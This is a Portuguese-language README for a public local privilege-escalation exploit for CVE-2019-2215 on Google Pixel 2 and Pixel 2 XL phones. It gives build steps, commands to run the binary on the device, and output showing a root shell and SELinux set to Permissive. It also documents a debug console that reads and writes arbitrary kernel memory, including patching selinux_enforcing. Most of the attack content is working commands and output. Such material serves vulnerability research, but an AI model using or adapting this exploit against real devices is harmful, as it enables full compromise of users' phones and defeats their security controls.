
Temproot para Pixel 2 e Pixel 2 XL via CVE-2019-2215
Demonstração de um ataque de escalonamento de privilégios apenas de leitura/escrita na memória do kernel resultando em uma shell root temporária.
Funciona nos dispositivos Google Pixel 2/Pixel 2 XL (walleye/taimen) com a imagem de setembro de 2019 QP1A.190711.020 e kernel versão-BuildID 4.4.177-g83bee1dc48e8.
Para que esta ferramenta funcione em outros dispositivos e/ou kernels afetados pela mesma vulnerabilidade, alguns offsets precisam ser encontrados e alterados. Conforme mencionado no rastreador de bugs do Project Zero, isso não é terrivelmente difícil.
Também está incluído um mini console de depuração que fornece uma interface semelhante a um editor hexadecimal para manipular a memória do kernel e a capacidade de gerar uma shell.
Para conveniência, um Makefile está incluído que funciona com a toolchain de compilação cruzada do Android NDK r19 ou superior.
# Download the Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip
# Extract the NDK and set its path as $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip # optional
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20
# Clone the `cve-2019-2215` git repository and `cd` into it.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215
# Compile the binary.
user@host:~/cve-2019-2215$ make all # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped
Uma vez compilado o binário, transfira-o para o dispositivo, torne-o executável e execute-o. (Algum lugar em /data/ deve funcionar.)
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $
O sucesso não é garantido e o dispositivo pode até travar completamente, mas normalmente, o SELinux é definido como Permissive e uma shell root é gerada.
Passe debug como o único argumento de linha de comando para iniciar um mini console de depuração em vez da rotina de escalonamento de privilégios após a obtenção de R/W no kernel.
debug> help
quick help
print
print kernel base address, some kernel symbol offsets,
and address of current task_struct as hexstrings
read <kaddr> <len>
read <len> bytes from <kaddr> and display as a hexdump
<kaddr> is a hexstring not prefixed with 0x
<len> is 1-4096 or 0x1-0x1000
write <kaddr> <data>
write <data> to <kaddr>
<kaddr> is a hexstring not prefixed with 0x
<data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*
e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set
its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is
'01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)
shell
launch a shell (hint: did we ~somehow~ become another user? :P)
help
print this help
exit
exit debug console
Defina o SELinux de Permissive de volta para Enforcing como um usuário não privilegiado.
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000 .#@.............
ffffff9bafc4e4c8: 0000 00 ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000 ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $